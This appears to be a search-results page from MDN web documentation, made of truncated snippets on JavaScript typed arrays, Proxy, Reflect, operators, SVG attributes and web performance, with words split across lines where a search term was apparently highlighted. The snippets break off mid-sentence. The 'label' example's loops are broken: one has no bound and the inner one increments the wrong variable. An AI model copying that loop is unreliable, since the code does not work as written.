ototype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). int32array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). int32array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). int32array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. int32array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). int32a...
Int8Array - JavaScript
prototype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). int8array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). int8array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). int8array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. int8array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). int8arra...
Intl.Locale.prototype.collation - JavaScript
to make it easier for javascript programmers to access the collation type used by a particular locale. below is a table with the available collation types, taken from the unicode collation specification. valid collation types collation type description big5han pinyin ordering for latin, big5 charset ordering for cjk characters (used in chinese) compat a p
revious version of the ordering, for compatibility dict dictionary style ordering (such as in sinhala) the direct collation type has been deprected. do not use. direct binary code point order (used in hindi) ducet the default unicode collation element table order emoji recommended ordering for emoji characters eor eur...
Intl.Locale.prototype.minimize() - JavaScript
stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax locale.minimize() return value a locale instance whose basename property returns the result of the remove likely subtags algorithm executed against locale.basename. description this method carries out the
reverse of maximize(), removing any language, script, or region subtags from the locale language identifier (essentially the contents of basename). this is useful when there are superfluous subtags in the language identifier; for instance, "en-latn" can be simplified to "en", since "latn" is the only script used to write english. minimize() only affects the main subtags that comprise the language ide...
JSON - JavaScript
ficant whitespace may be present anywhere except within a jsonnumber (numbers must contain no whitespace) or jsonstring (where it is interpreted as the corresponding character in the string, or would cause an error). the tab character (u+0009), carriage return (u+000d), line feed (u+000a), and space (u+0020) characters are the only valid whitespace characters. static methods json.parse(text[,
reviver]) parse the string text as json, optionally transform the produced value and its properties, and return the value. any violations of the json syntax, including those pertaining to the differences between javascript and json, cause a syntaxerror to be thrown. the
reviver option allows for interpreting what the replacer has used to stand in for other datatypes. json.stringify(value[, replacer...
Number.prototype.toExponential() - JavaScript
object that is not a number. description if the fractiondigits argument is omitted, the number of digits after the decimal point defaults to the number of digits necessary to represent the value uniquely. if you use the toexponential() method for a numeric literal and the numeric literal has no exponent and no decimal point, leave whitespace(s) before the dot that precedes the method call to p
revent the dot from being interpreted as a decimal point. if a number has more digits than requested by the fractiondigits parameter, the number is rounded to the nearest number represented by fractiondigits digits. see the discussion of rounding in the description of the tofixed() method, which also applies to toexponential(). examples using toexponential var numobj = 77.1234; console.log(numob...
Object.prototype.constructor - JavaScript
arate property on the child constructor function and access it via that property: ... child.parentconstructor = parentwithstatic child.prototype = object.create(parentwithstatic.prototype) ... let startposition = this.constructor.parentconstructor.getstartposition() ... summary: manually updating or setting the constructor can lead to differrent and sometimes confusing consequences. to p
revent this, just define the role of constructor in each specific case. in most cases, constructor is not used and reassignment of it is not necessary. specifications specification ecmascript (ecma-262)the definition of 'object.prototype.constructor' in that specification. ...
Object.isExtensible() - JavaScript
ax object.isextensible(obj) parameters obj the object which should be checked. return value a boolean indicating whether or not the given object is extensible. description objects are extensible by default: they can have new properties added to them, and (in engines that support __proto__) their __proto__ property can be modified. an object can be marked as non-extensible using object.p
reventextensions(), object.seal(), or object.freeze(). examples using object.isextensible // new objects are extensible. var empty = {}; object.isextensible(empty); // === true // ...but that can be changed. object.p
reventextensions(empty); object.isextensible(empty); // === false // sealed objects are by definition non-extensible. var sealed = object.seal({}); object.isextensible(sealed); // ==...
Object.isSealed() - JavaScript
he object is sealed, otherwise false. an object is sealed if it is not extensible and if all its properties are non-configurable and therefore not removable (but not necessarily non-writable). examples using object.issealed // objects aren't sealed by default. var empty = {}; object.issealed(empty); // === false // if you make an empty object non-extensible, // it is vacuously sealed. object.p
reventextensions(empty); object.issealed(empty); // === true // the same is not true of a non-empty object, // unless its properties are all non-configurable. var hasprop = { fee: 'fie foe fum' }; object.p
reventextensions(hasprop); object.issealed(hasprop); // === false // but make them all non-configurable // and the object becomes sealed. object.defineproperty(hasprop, 'fee', { configurable: fa...
Promise - JavaScript
the testpromise() method is called each time the <button> is clicked. it creates a promise tha...
handler.has() - JavaScript
arget object and the target object is not extensible. examples trapping the in operator the following code traps the in operator. const p = new proxy({}, { has: function(target, prop) { console.log('called: ' + prop); return true; } }); console.log('a' in p); // "called: a" // true the following code violates an invariant. const obj = { a: 10 }; object.p
reventextensions(obj); const p = new proxy(obj, { has: function(target, prop) { return false; } }); 'a' in p; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[hasproperty]]' in that specification. ...
Proxy() constructor - JavaScript
r. handler.get() a trap for getting property values. handler.getownpropertydescriptor() a trap for object.getownpropertydescriptor. handler.getprototypeof() a trap for object.getprototypeof. handler.has() a trap for the in operator. handler.isextensible() a trap for object.isextensible. handler.ownkeys() a trap for object.getownpropertynames and object.getownpropertysymbols. handler.p
reventextensions() a trap for object.p
reventextensions. handler.set() a trap for setting property values. handler.setprototypeof() a trap for object.setprototypeof. examples selectively proxy property accessors in this example the target has two properties, notproxied and proxied. we define a handler that returns a different value for proxied, and lets any other accesses through to the targe...
Proxy - JavaScript
", message2: "everyone" }; const handler3 = { get: function (target, prop, receiver) { if (prop === "message2") { return "world"; } return reflect.get(...arguments); }, }; const proxy3 = new proxy(target, handler3); console.log(proxy3.message1); // hello console.log(proxy3.message2); // world constructor proxy() creates a new proxy object. static methods proxy.
revocable() creates a
revocable proxy object. examples basic example in this simple example, the number 37 gets returned as the default value when the property name is not in the object. it is using the get handler. const handler = { get: function(obj, prop) { return prop in obj ? obj[prop] : 37; } }; const p = new proxy({}, handler); p.a = 1; p.b = undefined; console.log(...
Comparing Reflect and Object methods - JavaScript
ject is extensible, and false if it is not. throws a typeerror in es5 if the first argument is not an object (a primitive). in es2015, it will be coerced into a non-extensible, ordinary object and will return false. reflect.isextensible() returns true if the object is extensible, and false if it is not. throws a typeerror if the first argument is not an object (a primitive). p
reventextensions() object.p
reventextensions() returns the object that is being made non-extensible. throws a typeerrorin es5 if the argument is not an object (a primitive). in es2015, treats the argument as a non-extensible, ordinary object and returns the object itself. reflect.p
reventextensions() returns true if the object has been made non-extensible, and false if it has not. throws...
Reflect.isExtensible() - JavaScript
ject. description the reflect.isextensible method allows you determine if an object is extensible (whether it can have new properties added to it). it is the same method as object.isextensible(). examples using reflect.isextensible() see also object.isextensible(). // new objects are extensible. let empty = {} reflect.isextensible(empty) // === true // ...but that can be changed. reflect.p
reventextensions(empty) reflect.isextensible(empty) // === false // sealed objects are by definition non-extensible. let sealed = object.seal({}) reflect.isextensible(sealed) // === false // frozen objects are also by definition non-extensible. let frozen = object.freeze({}) reflect.isextensible(frozen) // === false difference to object.isextensible() if the target argument to this method is ...
Reflect - JavaScript
lect.has(target, propertykey) returns a boolean indicating whether the target has the property. either as own or inherited. works like the in operator as a function. reflect.isextensible(target) same as object.isextensible(). returns a boolean that is true if the target is extensible. reflect.ownkeys(target) returns an array of the target object's own (not inherited) property keys. reflect.p
reventextensions(target) similar to object.p
reventextensions(). returns a boolean that is true if the update was successful. reflect.set(target, propertykey, value[, receiver]) a function that assigns values to properties. returns a boolean that is true if the update was successful. reflect.setprototypeof(target, prototype) a function that sets the prototype of an object. returns a boolean that ...
RegExp.prototype.exec() - JavaScript
using this internally, exec() can be used to iterate over multiple matches in a string of text (with capture groups), as opposed to getting just the matching strings with string.prototype.match(). ...
RegExp.prototype.test() - JavaScript
returns a boolean, unlike the string.prototype.search() method (which returns the index of a match, or -1 if not found). to get more information (but with slower execution), use the exec() method. (this is similar to the string.prototype.match() method.) as with exec() (or in combination with it), test() called multiple times on the same global regular expression instance will advance past the p
revious match. examples using test() simple example that tests if "hello" is contained at the very beginning of a string, returning a boolean result. const str = 'hello world!'; const result = /^hello/.test(str); console.log(result); // true the following example logs a message which depends on the success of the test: function testinput(re, str) { let midstring; if (re.test(str)) { m...
Set - JavaScript
instance properties set.prototype.size returns the number of values in the set object. instance methods set.prototype.add(value) appends value to the set object. returns the set object. set.prototype.clear() removes all elements from the set object. set.prototype.delete(value) removes the element associated to the value and returns the value that set.prototype.has(value) would have p
reviously returned. set.prototype.has(value) will return false afterwards. set.prototype.has(value) returns a boolean asserting whether an element is present with the given value in the set object or not. iteration methods set.prototype[@@iterator]() returns a new iterator object that yields the values for each element in the set object in insertion order. set.prototype.keys() returns a new...
String.prototype.charCodeAt() - JavaScript
if (isnan(low)) { throw 'high surrogate not followed by ' + 'low surrogate in fixedcharcodeat()'; } return ( (hi - 0xd800) * 0x400) + (low - 0xdc00) + 0x10000; } if (0xdc00 <= code && code <= 0xdfff) { // low surrogate // we return false to allow loops to skip // this iteration since should have already handled // high surrogate above in the p
revious iteration return false; // hi = str.charcodeat(idx - 1); // low = code; // return ((hi - 0xd800) * 0x400) + // (low - 0xdc00) + 0x10000; } return code; } fixing charcodeat() to handle non-basic-multilingual-plane characters if their presence earlier in the string is known function knowncharcodeat(str, idx) { str += ''; var code, end = str.length; var ...
String length - JavaScript
f code units in the string. utf-16, the string format used by javascript, uses a single 16-bit code unit to represent the most common characters, but needs to use two code units for less commonly-used characters, so it's possible for the value returned by length to not match the actual number of characters in the string. ecmascript 2016 (ed. 7) established a maximum length of 2^53 - 1 elements. p
reviously, no maximum length was specified. in firefox, strings have a maximum length of 2**30 - 2 (~1gb). in versions prior to firefox 65, the maximum length was 2**28 - 1 (~256mb). for an empty string, length is 0. the static property string.length is unrelated to the length of strings, it's the arity of the string function (loosely, the number of formal parameters it has), which is 1. unicode ...
Symbol() constructor - JavaScript
n: let sym1 = symbol() let sym2 = symbol('foo') let sym3 = symbol('foo') the above code creates three new symbols. note that symbol("foo") does not coerce the string "foo" into a symbol. it creates a new symbol each time: symbol('foo') === symbol('foo') // false new symbol(...) the following syntax with the new operator will throw a typeerror: let sym = new symbol() // typeerror this p
revents authors from creating an explicit symbol wrapper object instead of a new symbol value and might be surprising as creating explicit wrapper objects around primitive data types is generally possible (for example, new boolean, new string and new number). if you really want to create a symbol wrapper object, you can use the object() function: let sym = symbol('foo'); let symobj = object(sym)...
Symbol.split - JavaScript
is interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of symbol.split writable no enumerable no configurable no examples custom
reverse split class
reversesplit { [symbol.split](string) { const array = string.split(' '); return array.
reverse(); } } console.log('another one bites the dust'.split(new
reversesplit())); // expected output: [ "dust", "the", "bites", "one", "another" ] specifications specification ecmascript (ecma-262)the definition of 'symbol.split' in that specification. ...
Symbol.unscopables - JavaScript
mples scoping in with statements the following code works fine in es5 and below. however, in ecmascript 2015 and later, the array.prototype.keys() method was introduced. that means that inside with environment "keys" would now be the method and not the variable. that's when the unscopables symbol was introduced. a built-in unscopables setting is implemented as array.prototype[@@unscopables] to p
revent that some of the array methods are being scoped into the with statement. var keys = []; with (array.prototype) { keys.push('something'); } object.keys(array.prototype[symbol.unscopables]); // ["copywithin", "entries", "fill", "find", "findindex", // "includes", "keys", "values"] unscopables in objects you can also set unscopables for your own objects. var obj = { foo: 1, bar: 2 }...
TypedArray - JavaScript
ototype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). typedarray.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). typedarray.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). typedarray.prototype.set() stores multiple values in the typed array, reading input values from a specified array. typedarray.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). typeda...
Uint16Array - JavaScript
otype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). uint16array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). uint16array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). uint16array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. uint16array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). uint...
Uint32Array - JavaScript
otype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). uint32array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). uint32array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). uint32array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. uint32array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). uint...
Uint8Array - JavaScript
ototype.reduce() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). uint8array.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). uint8array.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). uint8array.prototype.set() stores multiple values in the typed array, reading input values from a specified array. uint8array.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.slice(). uint8a...
Uint8ClampedArray - JavaScript
() apply a function against an accumulator and each value of the array (from left-to-right) as to reduce it to a single value. see also array.prototype.reduce(). uint8clampedarray.prototype.reduceright() apply a function against an accumulator and each value of the array (from right-to-left) as to reduce it to a single value. see also array.prototype.reduceright(). uint8clampedarray.prototype.
reverse()
reverses the order of the elements of an array — the first becomes the last, and the last becomes the first. see also array.prototype.
reverse(). uint8clampedarray.prototype.set() stores multiple values in the typed array, reading input values from a specified array. uint8clampedarray.prototype.slice() extracts a section of an array and returns a new array. see also array.prototype.sl...
WeakRef - JavaScript
in contrast, a normal (or strong) reference keeps an object in memory. when an object no longer has any strong references to it, the javascript engine's garbage collector may destroy the object and reclaim its memory. if that happens, you can't get the object from a weak reference anymore. note: please see the avoid where possible section below. ...
WebAssembly.Table.prototype.grow() - JavaScript
exceptions if the grow() operation fails for whatever reason, a rangeerror is thrown. examples using grow the following example creates a new webassembly table instance with an initial size of 2 and a maximum size of 10. ...
decodeURI() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax decodeuri(encodeduri) parameters encodeduri a complete, encoded uniform resource identifier. return value a new string representing the unencoded version of the given encoded uniform resource identifier (uri). exceptions throws an urierror ("malformed uri sequence") exception when encodeduri contains invalid character sequences. ...
decodeURIComponent() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax decodeuricomponent(encodeduri) parameters encodeduri an encoded component of a uniform resource identifier. return value a new string representing the decoded version of the given encoded uniform resource identifier (uri) component. ...
globalThis - JavaScript
se window, self, or frames - but in web workers only self will work. in node.js none of these work, and you must instead use global. the this keyword could be used inside functions running in non–strict mode, but this will be undefined in modules and inside functions running in strict mode. you can also use function('return this')(), but environments that disable eval(), like csp in browsers, p
revent use of function in this way. the globalthis property provides a standard way of accessing the global this value (and hence the global object itself) across environments. unlike similar properties such as window and self, it's guaranteed to work in window and non-window contexts. in this way, you can access the global object in a consistent manner without having to know which environment the c...
Destructuring assignment - JavaScript
en using object literal destructuring assignment without a declaration. {a, b} = {a: 1, b: 2} is not valid stand-alone syntax, as the {a, b} on the left-hand side is considered a block and not an object literal. however, ({a, b} = {a: 1, b: 2}) is valid, as is const {a, b} = {a: 1, b: 2} your ( ... ) expression needs to be preceded by a semicolon or it may be used to execute a function on the p
revious line. assigning to new variable names a property can be unpacked from an object and assigned to a variable with a different name than the object property. const o = {p: 42, q: true}; const {p: foo, q: bar} = o; console.log(foo); // 42 console.log(bar); // true here, for example, const {p: foo} = o takes from the object o the property named p and assigns it to a local variable named foo.
Inequality (!=) - JavaScript
perator checks whether its operands are not equal. it is the negation of the equality operator so the following two lines will always give the same result: x != y !(x == y) for details of the comparison algorithm, see the page for the equality operator. ...
Optional chaining (?.) - JavaScript
tion may be undefined or null. for example, consider an object obj which has a nested structure. without optional chaining, looking up a deeply-nested subproperty requires validating the references in between, such as: let nestedprop = obj.first && obj.first.second; the value of obj.first is confirmed to be non-null (and non-undefined) before then accessing the value of obj.first.second. this p
revents the error that would occur if you simply accessed obj.first.second directly without testing obj.first. with the optional chaining operator (?.), however, you don't have to explicitly test and short-circuit based on the state of obj.first before trying to access obj.first.second: let nestedprop = obj.first?.second; by using the ?. operator instead of just ., javascript knows to implicitly c...
Property accessors - JavaScript
77).toexponential() // or 77..toexponential() // or 77.0.toexponential() // because 77. === 77.0, no ambiguity bracket notation in the object[property_name] syntax, the property_name is just a string or symbol. so, it can be any string, including '1foo', '!bar!', or even ' ' (a space). const variable = object[property_name] object[property_name] = value; this does the exact same thing as the p
revious example. document['createelement']('pre') a space before bracket notation is allowed. document ['createelement']('pre') property names property names are string or symbol. any other value, including a number, is coerced to a string. this outputs 'value', since 1 is coerced into '1'. let object = {} object['1'] = 'value' console.log(object[1]) this also outputs 'value', since both foo...
delete operator - JavaScript
elete func); // false cross-browser notes although ecmascript makes iteration order of objects implementation-dependent, it may appear that all major browsers support an iteration order based on the earliest added property coming first (at least for properties not on the prototype). however, in the case of internet explorer, when one uses delete on a property, some confusing behavior results, p
reventing other browsers from using simple objects like object literals as ordered associative arrays. in explorer, while the property value is indeed set to undefined, if one later adds back a property with the same name, the property will be iterated in its old position--not at the end of the iteration sequence as one might expect after having deleted the property and then added it back. if you wa...
void operator - JavaScript
ument.body.style.backgroundcolor='green');"> click here for green background </a> note: javascript: pseudo protocol is discouraged over other alternatives, such as unobtrusive event handlers. non-leaking arrow functions arrow functions introduce a short-hand braceless syntax that returns an expression. this can cause unintended side effects by returning the result of a function call that p
reviously returned nothing. to be safe, when the return value of a function is not intended to be used, it can be passed to the void operator to ensure that (for example) changing apis do not cause arrow functions' behaviors to change. button.onclick = () => void dosomething(); this ensures the return value of dosomething changing from undefined to true will not change the behavior of this code. s...
for...of - JavaScript
in these cases, the iterator is closed. function* foo(){ yield 1; yield 2; yield 3; }; for (const o of foo()) { console.log(o); break; // closes iterator, execution continues outside of the loop } console.log('done'); iterating over generators you can also iterate over generators, i.e. functions generating an iterable object: function* fibonacci() { // a generator function let [p
rev, curr] = [0, 1]; while (true) { [p
rev, curr] = [curr, p
rev + curr]; yield curr; } } for (const n of fibonacci()) { console.log(n); // truncate the sequence at 1000 if (n >= 1000) { break; } } do not reuse generators generators should not be re-used, even if the for...of loop is terminated early, for example via the break keyword. upon exiting a loop, the generator is c...
import - JavaScript
ple shows how to load functionality on to a page based on a user action, in this case a button click, and then call a function within that module. this is not the only way to implement this functionality. the import() function also supports await. const main = document.queryselector("main"); for (const link of document.queryselectorall("nav > a")) { link.addeventlistener("click", e => { e.p
reventdefault(); import('/modules/my-module.js') .then(module => { module.loadpageinto(main); }) .catch(err => { main.textcontent = err.message; }); }); } specifications specification ecmascript (ecma-262)the definition of 'imports' in that specification. ecmascript (ecma-262)the definition of 'import calls' in that speci...
label - JavaScript
var allpass = true; var i, j; top: for (i = 0; items.length; i++) for (j = 0; j < tests.length; i++) if (!tests[j].pass(items[i])) { allpass = false; break top; } using a labeled block with break you can use label...
return - JavaScript
s affected by automatic semicolon insertion (asi). no line terminator is allowed between the return keyword and the expression. return a + b; is transformed by asi into: return; a + b; the console will warn "unreachable code after return statement". starting with firefox 40, a warning is shown in the console if unreachable code is found after a return statement. to avoid this problem (to p
revent asi), you could use parentheses: return ( a + b ); examples interrupt a function a function immediately stops at the point where return is called. function counter() { for (var count = 1; ; count++) { // infinite loop console.log(count + 'a'); // until 5 if (count === 5) { return; } console.log(count + 'b'); // until 4 } console.log(count + 'c');...
var - JavaScript
ve examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax var varname1 [= value1] [, varname2 [= value2] ... [, varnamen [= valuen]]]; varnamen variable name. it can be any legal identifier. valuen optional initial value of the variable. it can be any legal expression. default value is undefined. description var declarations, whe
rever they occur, are processed before any code is executed. this is called hoisting, and is discussed further below. the scope of a variable declared with var is its current execution context and closures thereof, which is either the enclosing function and functions declared within it, or, for variables declared outside any function, global. duplicate variable declarations using var will not trigge...
Trailing commas - JavaScript
this makes version-control diffs cleaner and editing code might be less troublesome. javascript has allowed trailing commas in array literals since the beginning, and later added them to object literals (ecmascript 5) and most recently (ecmascript 2017) to function parameters. ...
MathML: Deriving the Quadratic Formula - MathML
rm, and solve for x: a x 2 + b x + c = 0 a x 2 + b x = - c x 2 + b a x = -c a divide out leading coefficient. x 2 + b a x + b 2 a 2 = - c ( 4 a ) a ( 4 a ) + b 2 4 a 2 complete the square. ( x + b 2 a ) ( x + b 2 a ) = b 2 - 4 a c 4 a 2 discriminant
revealed. ( x + b 2 a ) 2 = b 2 - 4 a c 4 a 2 x + b 2 a = b 2 - 4 a c 4 a 2 x = -b 2 a ±{c} b 2 - 4 a c 4 a 2 there's the vertex formula. x = - b ±{c} b 2 - 4 a c 2 a ...
Digital video concepts - Web media technologies
a (y') the brightness of the pixel. without the other two components, the luma of each pixel in the frame produces a greyscale representation of the image. in bt.709 (used for hdtv), for example, the luma value is the weighted sum of the gamma-corrected red, green, and blue components of the pixel, using the formula y' = 0.2126r' + 0.7152g' + 0.0722b'. this weighting is performed because of the p
reviously-mentioned ratio of green, red, and blue cones in the eye. blue-difference (u or cb) the blue-difference component of the chroma, or color, of the color sample. this value is computed by subtracting the luma from the gamma corrected blue value; that is, u = b' - y'. red-difference (v or cr) the red-difference component of the chroma of the color sample. computed by substracting luma from...
The "codecs" parameter in common media types - Web media technologies
s the case with any mime type parameter, codecs must be changed to codecs* (note the asterisk character, *) if any of the properties of the codec use special characters which must be percent-encoded per rfc 2231, section 4: mime parameter value and encoded word extensions. you can use the javascript encodeuri() function to encode the parameter list; similarly, you can use decodeuri() to decode a p
reviously encoded parameter list. when the codecs parameter is used, the specified list of codecs must include every codec used for the contents of the file. the list may also contain codecs not present in the file.= codec options by container the containers below support extended codec options in their codecs parameters: 3gp av1 iso bmff mpeg-4 quicktime webm several of the links ab...
Animation performance and frame rate - Web Performance
atest issue. code based animations, be it css, svg, <canvas>, webgl or other javascript animations, can cause performance issues even if the bandwidth footprint is small. these animations can consume cpu and/or cause jank. while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you p
revent and diagnose problems when they occur. users expect all interface interactions to be smooth and all user interfaces to be responsive. animation can help make a site feel faster and responsive, but animations can also make a site feel slower and janky if not done correctly. responsive user interfaces have a frame rate of 60 frames per second (fps). while it is not always possible to maintain 6...
Critical rendering path - Web Performance
itten, so the content can't be rendered until the cssom is complete. css has its own set of rules for identifying valid tokens. remember the c in css stands for 'cascade'. css rules cascade down. as the parser converts tokens to nodes, with descendants of nodes inheriting styles. the incremental processing features don't apply to css like they do with html, because subsequent rules may override p
revious ones. the css object model gets built as the css is parsed, but can't be used to build the render tree until it is completely parsed because styles that are going to be overwritten with later parsing should not be rendered to the screen. in terms of selector performance, less specific selectors are faster than more specific ones. for example, .foo {} is faster than .bar .foo {} because when ...
Optimizing startup performance - Web Performance
app's main thread. instead, you should write your code so that your app creates a web worker that does as much as possible in a background thread (for example, fetching and processing data.) then, anything that must be done on the main thread (such as user events and rendering ui) should be broken up into small pieces so that the app's event loop continues to cycle while it starts up. this will p
revent the app, browser, and/or device from appearing to have locked up. why is it important to be asynchronous? other than the reasons suggested above, consider the impact of a non-responsive page or user interface. the user is unable to cancel if they launched your app by mistake. if the app is being run in a browser, it's possible the user may get an "unresponsive app" or "slow script" notificati...
Performance budgets - Web Performance
a performance budget is a limit to p
revent regressions. it can apply to a file, a file type, all files loaded on a page, a specific metric (e.g. time to interactive), a custom metric (e.g. time to hero element), or a threshold over a period of time. why do i need a performance budget? a budget exists to reflect your reachable goals. it's a tradeoff between user experience, against other performance indicators (e.g. conversion rate). these goals can be: timing based (e.g. time to interactive, first contentful paint). quantity-based (e.g. amount of js files/total image size). rule-based (e.g. pagespeed index, lighthouse score). their primary goal is to p
revent regressions, but they can provide insights to forecast trends (i.e. on september, 50% of the budget was spent in a wee...
Web Performance
ways a good idea to start up as quickly as possible. since that's a universal issue, we won't be focusing on it too much here. instead, we're going to look at a more important issue when building web apps: starting up as asynchronously as possible. that means not running all your startup code in a single event handler on the app's main thread.performance budgetsa performance budget is a limit to p
revent regressions. it can apply to a file, a file type, all files loaded on a page, a specific metric (e.g. time to interactive), a custom metric (e.g. time to hero element), or a threshold over a period of time. performance fundamentalsperformance means efficiency. in the context of open web apps, this document explains in general what performance is, how the browser platform helps improve it, an...
Installing and uninstalling web apps - Progressive web apps (PWAs)
n a chromeless view (without the full browser chrome) but it nevertheless is executing effectively as a tab within the browser. for users, the experience of a seemingly-native pwa is more comfortable and convenient than a typical web site. by reducing the user experience differential between the web app and native apps on the user's device, you reduce both the loss of any muscle memory they have
revolving around the native interface of the device and the sensation of "something isn't quite right" that users can experience when switching between native and web-based apps. what browsers support installation? installation is supported by chrome for android and android webview version 31 and later, opera for android 32 onward, samsung internet from version 4 onward, and firefox for android ver...
Graphic design for responsive sites - Progressive web apps (PWAs)
assets, and not the desktop resource assets. making html <img>s responsive is not as easy, as there is currently no native mechanism to serve different html images depending on context. there are a number of workarounds, but none of them are perfect right now. for an overview of what's available, read choosing a responsive image solution. coping with different resolutions in this section we'll
review different strategies for dealing with getting images to work across devices with different resolutions. the issue here is that raster images, when rendered on high res devices, are in danger of appearing tiny because the same number of pixels is being shown in a much smaller screen space. most hi res devices apply a default zoom factor to the whole web page so that the content is a bit more le...
Media - Progressive web apps (PWAs)
tion: fixed; top: 0pt; left:0pt; right: 0pt; font-size: 200%; text-align: center; } #print-foot { display: block; position: fixed; bottom: 0pt; right: 0pt; font-size: 200%; } #print-foot:after { content: counter(page); counter-increment: page; } } /* end print only */ view this document in your browser. it uses your browser's default style. print (or print p
review) the document. the stylesheet places each section on a separate page, and it adds a header and footer to each page. if your browser supports counters, it adds a page number in the footer. heading for paged media section a this is the first section...
accumulate - SVG: Scalable Vector Graphics
the accumulate attribute controls whether or not an animation is cumulative. it is frequently useful for repeated animations to build upon the p
revious results, accumulating with each iteration. this attribute said to the animation if the value is added to the p
revious animated attribute's value on each iteration. four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> usage notes value none | sum default value none animatable no sum specifies that each repeat iteration after the first builds upon the last value of the p
revious iteration. none specifies that repeat iterations are not cumulative. this attribute is ignored if the target attribute value does not support addition, or if the a...
gradientTransform - SVG: Scalable Vector Graphics
the gradienttransform attribute contains the definition of an optional additional transformation from the gradient coordinate system onto the target coordinate system (i.e., userspaceonuse or objectboundingbox). this allows for things such as skewing the gradient. this additional transformation matrix is post-multiplied to (i.e., inserted to the right of) any p
reviously defined transformations, including the implicit transformation necessary to convert from object bounding box units to user space. two elements are using this attribute: <lineargradient> and <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient id="gradient1" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100"> ...
mask - SVG: Scalable Vector Graphics
property. html,body,svg { height:100% } <svg viewbox="0 0 200 100" xmlns="http://www.w3.org/2000/svg"> <mask id="mymask" maskcontentunits="objectboundingbox"> <rect fill="white" x="0" y="0" width="100%" height="100%" /> <polygon fill="black" points="0.5,0.2 0.68,0.74 0.21,0.41 0.79,0.41 0.32,0.74" /> </mask> <!-- punch a hole in a shape of a star inside the red circle,
revealing the yellow circle underneath --> <circle cx="50" cy="50" r="20" fill="yellow" /> <circle cx="50" cy="50" r="45" fill="red" mask="url(#mymask)"/> </svg> since svg2, the mask attribute is defined as a css property and is a shorthand for many other properties: mask-image, mask-mode, mask-repeat, mask-position, mask-clip, mask-origin, mask-size, and mask-composite. as a pre...
overflow - SVG: Scalable Vector Graphics
uto"> <text y="20">this text is wider than the svg, so there should be a scrollbar shown.</text> </svg> usage notes value visible | hidden | scroll | auto default value visible animatable yes for a description of the values, please see the css overflow property. specifications specification status comment css level 2 (
revision 1)the definition of 'overflow' in that specification. recommendation definition in css scalable vector graphics (svg) 2the definition of 'overflow' in that specification. candidate recommendation simplifies the definition and outlines the values within the user agent stylesheet. scalable vector graphics (svg) 1.1 (second edition)the definition of 'overflow' in t...
side - SVG: Scalable Vector Graphics
specifications specification status comment scalable vector graphics (svg) 2the definition of 'side' in that specification. candidate recommendation initial definition ...
spreadMethod - SVG: Scalable Vector Graphics
e defined edges of a gradient. two elements are using this attribute: <lineargradient> and <radialgradient> context notes value pad | reflect | repeat initial value pad animatable yes pad this value indicates that the final color of the gradient fills the shape beyond the gradient's edges. reflect this value indicates that the gradient repeats in
reverse beyond its edges. repeat this value specifies that the gradient repeats in the original order beyond its edges. defining a gradient's edges by default, a gradient reaches to the edges of the shape being filled. to see the effects of this attribute, you will need to set the size of the gradient smaller than the shape. in the case of a linear gradient, the edges may be defined as a rectan...
stroke-dashoffset - SVG: Scalable Vector Graphics
